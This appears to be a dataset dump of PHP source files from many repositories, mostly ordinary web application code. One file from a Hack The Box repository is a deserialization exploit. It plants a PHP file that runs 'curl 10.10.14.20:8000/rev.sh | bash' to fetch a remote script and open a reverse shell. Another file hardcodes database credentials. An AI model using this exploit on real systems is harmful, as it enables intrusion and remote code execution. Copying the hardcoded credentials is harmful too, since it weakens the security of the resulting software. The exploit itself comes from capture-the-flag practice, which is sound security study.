blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 116 | path stringlengths 2 241 | src_encoding stringclasses 31
values | length_bytes int64 14 3.6M | score float64 2.52 5.13 | int_score int64 3 5 | detected_licenses listlengths 0 41 | license_type stringclasses 2
values | text stringlengths 14 3.57M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
650d552c43b740b0ce1835d51cc192ba55e98d87 | PHP | fourdollar-s/Software-engineering-final-project | /connect.php | UTF-8 | 482 | 2.5625 | 3 | [] | no_license | <?php
$db_server = 'localhost'; //伺服器(不用改)
$db_name = 'se'; //資料庫(存放table的資料庫名稱)
$db_user = 'ilok'; //使用者
$db_passwd = 'sj152294'; //密碼
$sql = 'mysql:host=' . $db_server . ';dbname=' . $db_name;
try {
$sql_qry = new PDO($sql, $db_user, $db_passwd);
$link=mysqli_connect($db_server,$db_user,$db_passwd,$db_name);
... | true |
d5c1087c859735b754283e63a74f59d05f373036 | PHP | codememory1/finder | /Find.php | UTF-8 | 5,850 | 3 | 3 | [
"MIT"
] | permissive | <?php
namespace Codememory\Components\Finder;
use Codememory\FileSystem\File;
use Codememory\Support\Str;
/**
* Class Find
* @package Codememory\Components\src\Finder
*
* @author Codememory
*/
class Find implements FinderInterface
{
public const SIZE_SMALLER = 1;
public const SIZE_LARGER = 2;
/**
... | true |
235068d1fa6ebf6a81a2747ff7f6d36b2ee2068e | PHP | mvc5/mvc5 | /src/Service/Alias.php | UTF-8 | 501 | 2.734375 | 3 | [
"MIT"
] | permissive | <?php
/**
*
*/
namespace Mvc5\Service;
use function class_alias;
final class Alias
{
/**
* @var array
*/
protected array $alias = [];
/**
* @param array $alias
*/
function __construct(array $alias = [])
{
$this->alias = $alias;
}
/**
* @param string $n... | true |
031edc6756846d485b3e27c2b242953c0ef8e549 | PHP | jorgbot/Woocommerce-GlobalPay-PSE | /get-http.php | UTF-8 | 2,173 | 2.546875 | 3 | [] | no_license | <?php
require_once './get-token.php';
class WP_DM_GlobalPay_HTTP {
public static function get($url) {
$_token = new WC_DM_GlobalPay_GetToken();
$data_token = $_token->generate();
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURN... | true |
f2f8a99e7edb1344f011717839dac0bd2700456c | PHP | prannb/youtube1 | /webpage/index.php | UTF-8 | 459 | 2.640625 | 3 | [] | no_license | <!DOCTYPE html>
<html>
<body>
<?php
echo "My first PHP script!";
// Start slider
$("#range_50").ionRangeSlider({
type: "double",
min: 0,
max: 1000,
from: 200,
to: 500,
grid: true
});
// Save slider instance to var
var slider = $("#range_50").data("ionRangeSlider");
// Call sliders update meth... | true |
09b693708aa66769fbb24280c6e4206bf3111a92 | PHP | lnfernal/typerush.com | /application/views/scores.php | UTF-8 | 342 | 2.59375 | 3 | [] | no_license | <div>
<?php
echo '<table class="table">';
echo '<tr><th>user</th><th>time taken</th><th>wpm</th></tr>';
foreach($scores as $score) {
echo '<tr><td>'.$score['name'].'</td><td>'.(float)($score['time']/10).'s </td><td>'.round($trackInfo['words']/($score['time']/600),2).'</td></tr>';
}
echo '</t... | true |
dbe3255785d62484bd9a92c8024245cd1a790a1a | PHP | hopeseekr/DataTypeValidator | /tests/DataTypeValidatorAssertTest.php | UTF-8 | 6,392 | 2.578125 | 3 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | <?php declare(strict_types=1);
/**
* This file is part of DataTypeValidator, a PHP Experts, Inc., Project.
*
* Copyright © 2019 PHP Experts, Inc.
* Author: Theodore R. Smith <theodore@phpexperts.pro>
* GPG Fingerprint: 4BF8 2613 1C34 87AC D28F 2AD8 EB24 A91D D612 5690
* https://www.phpexperts.pro/
* https:/... | true |
d48c75e2ef9cc9bdf93c3b55bb132e9cda1f29c3 | PHP | shitingle/page | /page_text.php | UTF-8 | 484 | 2.765625 | 3 | [] | no_license | <?php
function msubstr(){
$tmpstr="";
$strlen=$start+$len;
for($i=0;$i<$strlen;$i++){
if(ord(substr($str,$i,1))>0xao){
$tmpstr.=substr($str,$i,2);
$i++;
}else{
$tmpstr.=substr($str,$i,1);
}
}
return $tmpstr;
}
if($page){
$counter=file_get_content("file/file.txt");
$lenght=strlen(unhtml($counter));... | true |
d59c9574d9ab87fccd860a7d99d8d9557431506a | PHP | yamilbknsu/TI_2018 | /Aramark/send_trabajador_antiguo.php | UTF-8 | 1,106 | 2.859375 | 3 | [] | no_license | <?php
include "db_info.php";
$rut = $_POST["rut"];
$nombre = $_POST["nombre"];
if(!val_rut($rut)){
echo json_encode(array(0, "Rut incorrecto"));
//echo "No me gusta tu rut";
}else if (strlen($nombre) < 1){
echo json_encode(array(0, "Nombre no cumple los requisitos"));
//echo "No me gusta tu nombre";
}else{
... | true |
bdef9b00e223dc072911261e2e0b1c9346490026 | PHP | ircashem/HackTheBox | /tenet/www/exploit.php | UTF-8 | 309 | 2.546875 | 3 | [] | no_license | <?php
class Exploit
{
private $user_file = "rev.php";
private $data = "<?php system('curl 10.10.14.20:8000/rev.sh | bash') ?>";
}
$payload = urlencode(serialize(new Exploit));
$url = "http://10.10.10.223/sator.php?arepo=". $payload;
system("curl ".$url);
system("curl http://10.10.10.223/rev.php");
?> | true |
ae11f27b16129accdb1ea81a817019e5dd003ed5 | PHP | nkrisfalusy/overwatchpartyfinder | /checkGroupStatus.php | UTF-8 | 2,809 | 2.765625 | 3 | [
"Apache-2.0"
] | permissive | <?php
include "../include.php";
if(!isset($_SESSION))
{
session_start();
}
//returns groupresult FALSE if the session user_id is in a group
$groupresult = true;
$groupid = "";
$usercolumn = 0;
$numofmembers = 0;
$members = array();
$leader = "";
if(isset($_SESSION['user_id'])){
$userid = $_SESSIO... | true |
191084937a7e339e99bf136432b24ea622b72926 | PHP | Aleksandr0611/work | /task_19.php | UTF-8 | 670 | 3.640625 | 4 | [] | no_license | <?php
declare(strict_types=1);
/**
* @param string $document
* @return bool
*/
function checkIfBalanced(string $document)
{
$replace = "";
$search = "'([ 0-9-+*=/])+'";
$text = preg_replace($search, $replace, $document);
$s = $text;
$c = strlen($s);
$counter = 0;
for ($i = 0; $i < $c;... | true |
6023eb5619dd6a32bfa08aefb44f7c6dfcad038d | PHP | alexxozo/lottery-api | /app/Services/LotteryService.php | UTF-8 | 3,177 | 2.765625 | 3 | [] | no_license | <?php
namespace App\Services;
use App\DTO\LotterySelectionDTO;
use App\Helpers\GlobalHelper;
use App\Helpers\ManageLotteriesHelper;
use App\Interfaces\IService;
use App\Models\Ballot;
use App\Models\LotteryDraw;
use App\Models\LotteryType;
use Carbon\Carbon;
use Carbon\CarbonImmutable;
use Illuminate\Support\Facade... | true |
e53fab2ed8ebd29c3d1d3818d185082f67b59107 | PHP | carlospas/ClinicaRamis | /app/Http/Requests/UpdateUserFormRequest.php | UTF-8 | 859 | 2.578125 | 3 | [] | no_license | <?php
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
class UpdateUserFormRequest extends FormRequest
{
/**
* Determine if the user is authorized to make this request.
*
* @return bool
*/
public function authorize(){
return true;
}
/**
* Get ... | true |
2e2257f319c2c796f5bf61175f3a57ee61224b81 | PHP | salomalo/rookconnect | /Import/import.php | UTF-8 | 3,126 | 2.734375 | 3 | [] | no_license | <?php
/*
Dashboard
*/
include ('../include.php');
if (isset($_POST['import_csv'])) {
$csv_file = htmlspecialchars($_FILES['csv']['tmp_name'], ENT_QUOTES);
if (($handle = fopen($csv_file, "r")) !== FALSE) {
while (($data = fgetcsv($handle, 1024, ",")) !== FALSE) {
$num = count($data);
... | true |
9ffaba8ff89a051c3190501c0976df2ac70672eb | PHP | nicolasbottari/Japanese-kana-typing.ee2_addon | /ext.japanese_kana_typing.php | UTF-8 | 7,300 | 2.53125 | 3 | [] | no_license | <?php
// Japanese kana typing 1.0
// For ExpressionEngine 2.0
// Copyright Nicolas Bottari
// -----------------------------------------------------
//
// The Japanese kana typing extension for ExpressionEngine by Nicolas Bottari is licensed under a Creative Commons Attribution
// Noncommercial-Share Alike 3.0 Unported... | true |
4c06c79c00db2601488e154f871346ba5169544d | PHP | solovenko-v/study | /PHP/solutions/task_05/index.php | UTF-8 | 1,308 | 3.0625 | 3 | [] | no_license | <?php
if (isset($_POST['Name']))
{
writeToDB($_POST['Name']);
}
showForm();
function showForm()
{
$html = '<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Person adding</title>
</head>
... | true |
6a6bada965a16297dfeae2a1346c6e9f18a3abdc | PHP | tranbachngoc/projectMHDC | /app/app/Models/UserTree.php | UTF-8 | 1,717 | 2.625 | 3 | [] | no_license | <?php
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
namespace App\Models;
use App\BaseModel;
/**
* Description of UserTree
*
* @author hoanvu
*/
class UserTree extends BaseMod... | true |
a57cb55600ce195500b01fa4c9791eec1fbb98a9 | PHP | 5ctechforgood/projectcaring | /piwik/plugins/Monolog/Handler/WebNotificationHandler.php | UTF-8 | 1,515 | 2.53125 | 3 | [
"LicenseRef-scancode-warranty-disclaimer",
"GPL-3.0-or-later",
"LGPL-2.0-or-later",
"LGPL-2.1-or-later",
"GPL-3.0-only",
"GPL-1.0-or-later",
"MIT"
] | permissive | <?php
/**
* Piwik - free/libre analytics platform
*
* @link http://piwik.org
* @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
*/
namespace Piwik\Plugins\Monolog\Handler;
use Monolog\Handler\AbstractProcessingHandler;
use Monolog\Logger;
use Piwik\Common;
use Piwik\Notification;
use Piwik\Notif... | true |
3eb1265b8e744a4790ecea182a45c09e22a09a6e | PHP | PrincetonAfeez/kommerce-core | /src/Entity/CartPriceRuleTagItem.php | UTF-8 | 988 | 2.625 | 3 | [
"Apache-2.0"
] | permissive | <?php
namespace inklabs\kommerce\Entity;
use inklabs\kommerce\Lib\UuidInterface;
use Symfony\Component\Validator\Mapping\ClassMetadata;
class CartPriceRuleTagItem extends AbstractCartPriceRuleItem
{
/** @var Tag */
protected $tag;
public function __construct(Tag $tag, $quantity, UuidInterface $id = null)... | true |
e2820788d26ff135e80d7ce44a0485f82fb8f403 | PHP | mar-babu/share_teach_php | /Handle/database/db.php | UTF-8 | 189 | 2.515625 | 3 | [] | no_license | <?php
$mysqli = new mysqli('localhost','root','','test_db');
try{
if (!$mysqli){
echo "Connection Failed";
}
}catch (Exception $exception){
$exception->getMessage();
} | true |
218b4f6677d706ba6900e63f1558809d7ae9a046 | PHP | Abhishekthapa/simplewebsite | /add.php | UTF-8 | 3,625 | 2.78125 | 3 | [] | no_license | <?php
session_start();
if(!isset($_SESSION['username']))
{
echo"please log in";
// not logged in
header('refresh:2;index.php');
exit();
}
else{
include('connect.php');
$conn = new PDO($dsn, $username, $password);
// set the PDO error mode to exception
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ER... | true |
8e91abfb516b46e24bbe7eaf5756e7cf815db267 | PHP | weirbr/CS340Project | /FacilityDetails.php | UTF-8 | 6,707 | 2.703125 | 3 | [] | no_license | <!DOCTYPE html>
<?php
$currentpage="Profile";
include "pages.php";
?>
<html>
<head>
<link rel = "stylesheet" href="index.css">
</head>
<body>
</body>
<?php
include "header.php";
include "connectvars.php";
//connect to database
$conn = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if (!$conn)... | true |
89b528b3b7a212bd4fb5d6159fdd5462419d6d90 | PHP | RenardGris/blog | /app/Controller/Admin/AppController.php | UTF-8 | 715 | 2.5625 | 3 | [] | no_license | <?php
namespace App\Controller\Admin;
use App\App;
use Core\Auth\Auth;
use Core\Auth\Session;
class AppController extends \App\Controller\AppController
{
/**
* AppController constructor.
*
* check if user is logged and if has access right,
* if not, redirect with unauthorized error
*
... | true |
f644fdc0e7f89d2f970f6b2e74763831fa4ece90 | PHP | Aqu1nt/php-easy | /framework/core/Response.php | UTF-8 | 599 | 2.890625 | 3 | [] | no_license | <?php
namespace Framework\Core;
use Framework\Di\Bean;
class Response implements Bean {
public $data;
public $status;
public function __construct($data = null, $status = 200)
{
$this->with($data, $status);
}
public function with($data = null, $status = 200)
{
$this->data ... | true |
360927d171b2af2a931460a83f37948374cf620e | PHP | WiktorWos/projekt-wdpai | /src/controllers/ProfileController.php | UTF-8 | 1,750 | 2.59375 | 3 | [] | no_license | <?php
require_once 'AppController.php';
require_once __DIR__ . '/../repository/TicketRepository.php';
require_once __DIR__ . '/../repository/UserRepository.php';
require_once __DIR__ .'/../models/Ticket.php';
class ProfileController extends AppController
{
private $ticketRepository;
private $userRepository;
... | true |
678a927f59bab4dfe04239d96d5831dd042970f7 | PHP | capersys/videoCollection | /src/bestophe/VideoCollectionBundle/Manager/ParameterManager.php | UTF-8 | 887 | 2.5625 | 3 | [] | no_license | <?php
namespace bestophe\VideoCollectionBundle\Manager;
/**
* Description of ParameterManager
*
* @author Christophe
*/
class ParameterManager {
const RECENTLY_ADD_MAX_MOVIES = 4;
const POSTER_VIEW_MAX_MOVIES = 6;
const POSTER_VIEW_MAX_ACTORS = 4;
const COMPACT_VIEW_MAX_MOVIES = 24;
const BAT... | true |
d56c949c849c4c5332d54f41afde8bfa1c2eeefe | PHP | dmt-software/webservices-dutchbusiness | /src/Model/UpdateReference.php | UTF-8 | 2,558 | 2.609375 | 3 | [
"MIT"
] | permissive | <?php
namespace DMT\WebservicesNl\DutchBusiness\Model;
use JMS\Serializer\Annotation as JMS;
/**
* Class UpdateReference
*
* @JMS\AccessType("public_method")
*/
class UpdateReference
{
/**
* @JMS\SerializedName("dossier_number")
* @JMS\Type("string")
* @JMS\XmlElement(... | true |
a3d1134f26522276e6d0c04f3bfb1eec03a08621 | PHP | zorgch/zorg-code | /www/js/ajax/gallery/add-album.php | UTF-8 | 3,498 | 2.75 | 3 | [] | no_license | <?php
/**
* AJAX request handling for adding a new Gallery Album
*
* @package zorg\Gallery\Gallery Maker
*/
/**
* FILE INCLUDES
* @include config.inc.php Required at top in order to validate 'nonce' in $_SESSION!
*/
require_once __DIR__.'/../../../includes/config.inc.php';
/**
* AJAX Request validation
*/... | true |
b5cf37f639a2c3a756e9905cf0acea04e9743e37 | PHP | sep143/grocery | /application/controllers/admin/masters/BrandsController.php | UTF-8 | 3,716 | 2.546875 | 3 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | <?php
defined('BASEPATH')OR exit('No direct script access allowed');
class BrandsController extends CI_Controller{
public function __construct() {
parent::__construct();
$this->lang->load('sidebar','english');
$this->lang->load('mastersAdmin','english');
$this->lang->load('site... | true |
831dbced3ee69a65fd990a1564f5ec71323f34fd | PHP | bl0ck3man/DesignPatterns | /src/Command/Command.php | UTF-8 | 375 | 3.203125 | 3 | [] | no_license | <?php
/**
* Created by PhpStorm.
* User: sergey
* Date: 21/08/2017
* Time: 23:50
*/
namespace Command;
abstract class Command
{
private $computer;
public function __construct(Computer $computer)
{
$this->computer = $computer;
}
public function getComputer()
{
return $th... | true |
3b1244ce703ec57ad19e7a8d98a652bea92f1867 | PHP | zankonori1999/shop | /admin/model/Madmin.php | UTF-8 | 928 | 2.59375 | 3 | [] | no_license | <?php
// session_start();
class Admin{
public function __construct()
{
global $db;
$this->db = $db;
}
public function login($data)
{
$query = $this->db->prepare("SELECT * FROM admins_tbl WHERE email = :email");
$query->bindPar... | true |
621eddadf6608e845aff0070112a63a6368bd956 | PHP | anamika111/experiment | /db.php | UTF-8 | 2,269 | 3.140625 | 3 | [] | no_license | <?php
include 'config.php';
class DB
{
protected $db;
function __construct()
{
try {
$host = DB_HOST;
$user = DB_USER;
$pwd = DB_PASSWORD;
$dbname = DB_DATABASE;
$this->db = new PDO("mysql:dbname={$dbname};host={$host}", $user, $pwd);
... | true |
3b6c2bab27eccbe4292cc84a7169d3e283b9cf0e | PHP | zhaohs/yii2_admin_ace | /libs/Common.php | UTF-8 | 6,338 | 2.578125 | 3 | [
"BSD-3-Clause"
] | permissive | <?php
namespace app\libs;
use yii\web\UploadedFile;
use app\models\Config;
class Common
{
public static function checkInstall($config)
{
if(!isset($config['components']['db']['class']))
{
exit('<script>top.location.href="install.php"</script>');
}
}
public st... | true |
3383bc206f5edef12a9a5986b081bbf69ca8a338 | PHP | jornylau/GameAnalytics | /Model/Stats/Model.php | UTF-8 | 17,156 | 2.65625 | 3 | [] | no_license | <?php
/**
* 统计
* @name Model.php
* @author admin
* @since 2013-1-14
*/
if( !defined( 'IN_INU' ) )
{
return;
}
class Stats_Model extends Stats_Base
{
/**
* 检查字段值是否合法
* @param unknown $params
* @throws Exception
*/
private static function _initParam( $params )
{
self::$appId = $params['appId'];... | true |
083996a651950fe7a1ec4069625bbc446ed9c64d | PHP | sim-vzla/laracruds | /src/Contracts/RepositoryContract.php | UTF-8 | 845 | 2.90625 | 3 | [
"MIT"
] | permissive | <?php
namespace Laracruds\Contracts;
interface RepositoryContract
{
/**
* Create an instance of the model.
*
* @param array $data
* @return $model
*/
public function create(array $data);
/**
* Find the model by it's primary key.
*
* @param mixed $id
* @retu... | true |
4b891cb61cbb4b3c0d9049ac1c20f923b492d9c1 | PHP | watchdogpolska/bip.siecobywatelska.pl | /src/Sowp/ApiBundle/Response/Link.php | UTF-8 | 926 | 2.921875 | 3 | [] | no_license | <?php
namespace Sowp\ApiBundle\Response;
use JMS\Serializer\Annotation as JMS_Annotation;
/**
* Class Link
* @package Sowp\ApiBundle\Response
* @JMS_Annotation\ExclusionPolicy("NONE")
*/
class Link
{
/**
* @var string
*/
private $rel;
/**
* @var string
*/
private $href;
p... | true |
d0e857efd79d3a763dc21dc6c0d8f0a68f3ad88a | PHP | alyanmo96/Hakita | /AdminPage.php | UTF-8 | 40,420 | 2.59375 | 3 | [] | no_license | <?php
/**
* (-)on this page admin can make many functions as like look for users(all users/teachers/students/new users/
* add a new city or anew course/which user make changes and admin settings), send Email's for many users, check messages.
* (-)ADMIN look for a user by choose him on list or at the display user... | true |
b6845466323cf2db49933b258f9f40c05839772d | PHP | DerZanael/konnibet | /project/src/Entity/Competitor.php | UTF-8 | 6,026 | 2.53125 | 3 | [] | no_license | <?php
namespace App\Entity;
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\Common\Collections\Collection;
use Doctrine\ORM\Mapping as ORM;
/**
* @ORM\Entity(repositoryClass="App\Repository\CompetitorRepository")
*/
class Competitor
{
/**
* @ORM\Id()
* @ORM\GeneratedValue()
* @ORM\... | true |
3fb7040a19619e7759cb22f73248bdd810f55195 | PHP | poberezhnyi-pavlo/heroku-daiting | /app/Repositories/Admin/HomePageSlideRepository.php | UTF-8 | 736 | 2.59375 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Repositories\Admin;
use App\Models\Slide;
use App\Repositories\BaseRepository;
/**
* Class HomePageSlideRepository
* @package App\Repositories\Admin
*/
class HomePageSlideRepository extends BaseRepository
{
/**
* HomePageSlideRepository constructor.
* @param Slide $slide
*/
... | true |
de5b46a5b6edf1bda521c95fe52e14e35992efe6 | PHP | Tablieh/applidl10_final | /storev2/src/service/Cart.php | UTF-8 | 1,701 | 2.921875 | 3 | [] | no_license | <?php
namespace App\Service;
use App\Core\Session;
use App\Model\Entity\Product;
use App\Model\Entity\User;
class Cart
{
private $lines = [];// a line is : ['product' => Product, 'qtt' => int]
public function addToCart($product, $qtt){
$this->lines[] = ["product" => $product, "qtt" => $qtt];
}
... | true |
7625d1a354d607727c54f983f2e53f6093b71c0c | PHP | RyanMichaelNasalinas/PHP-Content-Management-System- | /login.php | UTF-8 | 3,496 | 2.640625 | 3 | [] | no_license | <?php include "includes/Database.php"; ?>
<?php include "includes/header.php"; ?>
<!-- Navigation -->
<?php include "includes/navigation.php"; ?>
<!-- Navigation -->
<?php
if(isset($_POST['login'])){
$error = '';
$username = mysqli_real_escape_string($conn,$_POST[... | true |
70a323f7bf1238af58c8b32a52c905d4a5fe8e0e | PHP | oleggai/logos | /widgets/CreatedUpdatedWidget.php | UTF-8 | 696 | 2.609375 | 3 | [] | no_license | <?php
/**
* В файле описан класс виджета для отображения инфорации о создателе и последнем редактировании сущности
*
* @author Richok FG
* @category Интрерфейс
*/
namespace app\widgets;
use yii\base\Widget;
/**
* Класс виджета для отображения инфорации о создателе и последнем редактировании сущности
* @proper... | true |
d2ee4856e45b7dd1de3ff5e4a70cace95b60d795 | PHP | luis-ende/LooopCore | /FrameworkBundle/Builder/Form/FormNodeToBuilder.php | UTF-8 | 2,426 | 2.6875 | 3 | [] | no_license | <?php
namespace LooopCore\FrameworkBundle\Builder\Form;
use Symfony\Component\Form\FormBuilderInterface;
use LooopCore\FrameworkBundle\Builder\Form\FormNode;
/**
* Converts from a LLP Form Model (ForNode) representation to a Symfony
* representation (Builder).
*/
class FormNodeToBuilder
{
protected $builder... | true |
129f698049daddb2a6d3d7fe08026a7f2644cb89 | PHP | wanjuguflorence/project1 | /phpAssignment/exercise4ii.php | UTF-8 | 128 | 3.375 | 3 | [] | no_license | <?php
$counterX = array("one", "two", "three");
foreach ($counterX as $Value) {
echo "Value: $Value<br />\n";
}
?> | true |
2b9b4223455b4158658239859766ce6b84c3476e | PHP | mlavrinenko/xhprof.io | /xhprof/classes/callgraph.php | UTF-8 | 6,499 | 2.578125 | 3 | [] | no_license | <?php
namespace ay\xhprof;
class callgraph
{
private $request;
public function __construct($request)
{
$this->request = $request;
}
/**
* @param array $callstack The callstack must have UIDs.
* @param boolean $output TRUE will output the content to the stdout and set the... | true |
cb37e5329d8fd3062b39ecedc159296f73f33685 | PHP | MarjoMaris/PPE-2-Mission-WEB-M2L-SLAM. | /m2l/modifier.php | UTF-8 | 4,284 | 2.890625 | 3 | [] | no_license | <?php
include ('server.php'); /* Inclue la page server.php */
include ('menu.php'); /* Inclue la page menu.php */
?>
<?php
$id = $_GET["id"];
include "functions/dbfunction.php"; // Lien pour inclure la base de donnée
$dbh = db_connect(); //On appelle la fonction de connexion à la B... | true |
64db7a8009387d2159a271de2bb55877a1cef1be | PHP | Infinite-Boxes/modiWeb | /modules/cronjobs/index.php | UTF-8 | 3,774 | 2.765625 | 3 | [] | no_license | <?php
class cronjobs {
private static $jobs;
public static function init() {
$jobs = sql::get("SELECT * FROM ".Config::dbPrefix()."cronjobs WHERE finished = 0 ORDER BY time");
if(isset($jobs["id"])) {
$jobs = [$jobs];
}
if($jobs !== false) {
foreach($jobs as $v) {
self::$jobs[$v["name"]] = [
"t... | true |
7f79188c2f281d887b14c877586ca7929f538a2a | PHP | bacaAlexandre/blog | /class/form.php | UTF-8 | 297 | 2.78125 | 3 | [] | no_license | <?php
class Form
{
public $value;
public $name;
public $type;
public function __construct($value, $name, $type){
$this -> value = $value;
$this -> name = $name;
$this -> type = $type;
}
public function showForm() {
}
public function creatBalise() {
}
}
| true |
c8f173bd11f079dedd6f93f78ee333b2be0de3bd | PHP | snowonbridge/activity_task | /Model/UserCrossChallegeLog.php | UTF-8 | 6,577 | 2.59375 | 3 | [] | no_license | <?php
/**
* Created by PhpStorm.
* User: nihao
* Date: 17-9-7
* Time: 下午4:17
*/
namespace Workerman\Model;
use Workerman\Lib\Logger;
use Workerman\Lib\Model;
use Workerman\Lib\Okey;
use Workerman\Service\ATCode;
class UserCrossChallegeLog extends Model{
public $db = 'activity';
public $table = 'user_c... | true |
0c6e1d8c3681c63578b2811fa21c4ac7d65a6538 | PHP | leblanc-simon/Gesdon3 | /src/AppBundle/Repository/ContributorRepository.php | UTF-8 | 1,850 | 2.65625 | 3 | [] | no_license | <?php
namespace AppBundle\Repository;
use AppBundle\Entity\Contributor;
use Doctrine\ORM\EntityRepository;
class ContributorRepository extends EntityRepository
{
public function getQueryForAll()
{
return $this
->createQueryBuilder('c')
->addOrderBy('c.lastname', 'ASC')
... | true |
18e38f620293d599e1fcf511eb2c632a4e2e9ddf | PHP | SammyK/laravel-sqs-push-queue-example | /app/Acme/ExampleWorker.php | UTF-8 | 383 | 2.5625 | 3 | [
"MIT"
] | permissive | <?php namespace Acme;
class ExampleWorker {
/**
* Process the resource
*
* @param $job
* @param $data
* @return null
*/
public function fire($job, $data)
{
// Save payload to file for review
\File::append(storage_path().'/sqs_pushes.txt', print_r($data, true).PHP... | true |
840077d751185b9f1b4bd067ba80094912e687d6 | PHP | chen-cjw/office | /app/Http/Requests/TeamRequest.php | UTF-8 | 1,239 | 2.53125 | 3 | [] | no_license | <?php
namespace App\Http\Requests;
use App\Models\User;
use App\Rules\TeamRule;
class TeamRequest extends FormRequest
{
/**
* Get the validation rules that apply to the request.
*
* @return array
*/
public function rules()
{
switch ($this->method()) {
case 'GET':
... | true |
2f56d03c29f247c50f46eb61bcf082d4fc252308 | PHP | Charly52830/Olimpiadas | /app/Http/Controllers/EventosController.php | UTF-8 | 4,042 | 2.75 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Http\Controllers;
use App\Evento;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
class EventosController extends Controller
{
/**
*
*/
private static function format_date($date)
{
list($year, $month, $day, $hours, $minutes, $seconds) = sscanf($date, "%d-%d-%d %d:%... | true |
c856eaa8276f4d245b74a44b79fe20cd27121e6c | PHP | Corifeus/ProyectoIntegradoDAW | /MVC/app/model/db.class.php | UTF-8 | 1,310 | 3.09375 | 3 | [] | no_license | <?php
/**
*Clase que interactua con la base de datos
*@author Digital Games
*@version 1.0
*/
class Database {
/**
*@var array $conexion guarda la información de la conexión
*/
private $conexion;
/**
*Realiza la conexion con la base de datos
*@return array $this->conexion datos de conexion
*/
p... | true |
23c2e8e5ef265e07f12c1830641caf33f64380c3 | PHP | comely-io/db-orm | /src/Server/DbCredentials.php | UTF-8 | 2,830 | 2.9375 | 3 | [
"MIT"
] | permissive | <?php
/*
* This file is a part of "comely-io/db-orm" package.
* https://github.com/comely-io/db-orm
*
* Copyright (c) Furqan A. Siddiqui <hello@furqansiddiqui.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code or visit following link... | true |
875e7fbc7e49ea3e53e8e19f5afb9db95c161791 | PHP | cosnics/cosnics | /src/Chamilo/Application/Weblcms/Tool/Implementation/Description/Component/BrowserComponent.php | UTF-8 | 946 | 2.71875 | 3 | [
"MIT"
] | permissive | <?php
namespace Chamilo\Application\Weblcms\Tool\Implementation\Description\Component;
use Chamilo\Application\Weblcms\Tool\Implementation\Description\Manager;
use Chamilo\Libraries\Format\Structure\BreadcrumbTrail;
class BrowserComponent extends Manager
{
public function get_additional_parameters()
{
... | true |
80233bdf46205280613702961e248b499191352c | PHP | MargaretKedvenc/spdLoad | /app/Exceptions/Handler.php | UTF-8 | 1,129 | 2.578125 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Exceptions;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
use Illuminate\Http\JsonResponse;
use Illuminate\Validation\ValidationException;
use Throwable;
class Handler extends ExceptionHandler
{
/**
* @var array... | true |
d9f2458d04eb33aa220116efd7bfbef1c0f9632a | PHP | hqApril/HF170502 | /Service/application/controllers/LoginController.class.php | UTF-8 | 1,413 | 2.65625 | 3 | [] | no_license | <?php
//登录控制器类
class LoginController extends Controller {
private $_model;
//构造函数
public function __construct() {
session_start();
$_POST = json_decode(file_get_contents('php://input'),true);
$this -> _model = new LoginModel();
}
//跳... | true |
3de95c6a549f453fa6c973be96ebc8c63bbc2efe | PHP | PrestaSafe/erp | /models/QuoteFields.php | UTF-8 | 5,192 | 2.53125 | 3 | [
"MIT"
] | permissive | <?php namespace Prestasafe\Erp\Models;
use Model;
use Prestasafe\Erp\Classes\Calculator;
/**
* QuoteFields Model
*/
class QuoteFields extends Model
{
use \October\Rain\Database\Traits\Validation;
/**
* @var string The database table used by the model.
*/
public $table = 'prestasafe_erp_quote_... | true |
0343839f609b3a660e984a4dc1a83ffcb593f8ab | PHP | UFOP-CSI477/2019-01-atividades-giovannabadaro | /atividade-pratica-002/assets/php/procedures.php | UTF-8 | 1,605 | 2.875 | 3 | [] | no_license | <?php
//crud tabela trans
require_once 'database.php';
require_once 'users.php';
class Procedures{
private $id;
private $name;
private $price;
private $criado_em;
private $atualizado_em;
private $users_id;
public function __construct() {
$database = new Database();
$dbSet = $database->dbSet... | true |
a0e09af4f5f7d1b4eb7037fa4c9d488259f26a62 | PHP | Joshuauzor/zichiteff | /app/Controllers/Home.php | UTF-8 | 3,589 | 2.59375 | 3 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | <?php namespace App\Controllers;
use App\Models\RequestModel;
use App\Models\MasterModel;
use App\Models\ServicesModel;
class Home extends BaseController
{
public function __construct()
{
helper(['form', 'url', 'date']);
}
/**
* This is the controller for the homepage
*/
public function index()
{
$data... | true |
c76a58e219770e7acdcba1f7c5bb0a358dbc2550 | PHP | buzzpop/MINI | /Pages/function_get_random.php | UTF-8 | 438 | 3.171875 | 3 | [] | no_license | <?php
function getRandomStr ($nbr,$tab) {
shuffle($tab);
$chaine=[];
for ($i=0;$i<$nbr;$i++){
$chaine[]= $tab[$i];
}
return $chaine;
}
/* function getRandomStr ($nbr,$tab) {
$i=0;
$keys= array_keys($tab);
shuffle($keys);
$random= array();
foreach ($keys as $key){
$ran... | true |
e1fdb76e5719344b4775a0f4965cb740c7c5447a | PHP | charlanalves/pdv | /app/models/Upload.php | UTF-8 | 4,786 | 2.671875 | 3 | [] | no_license | <?php
namespace App\Models;
class Upload extends \Phalcon\Mvc\Model
{
/**
*
* @var integer
*/
protected $cd_upload;
/**
*
* @var string
*/
protected $nome_original;
/**
*
* @var string
*/
protected $nome_servidor;
/**
*
* @var stri... | true |
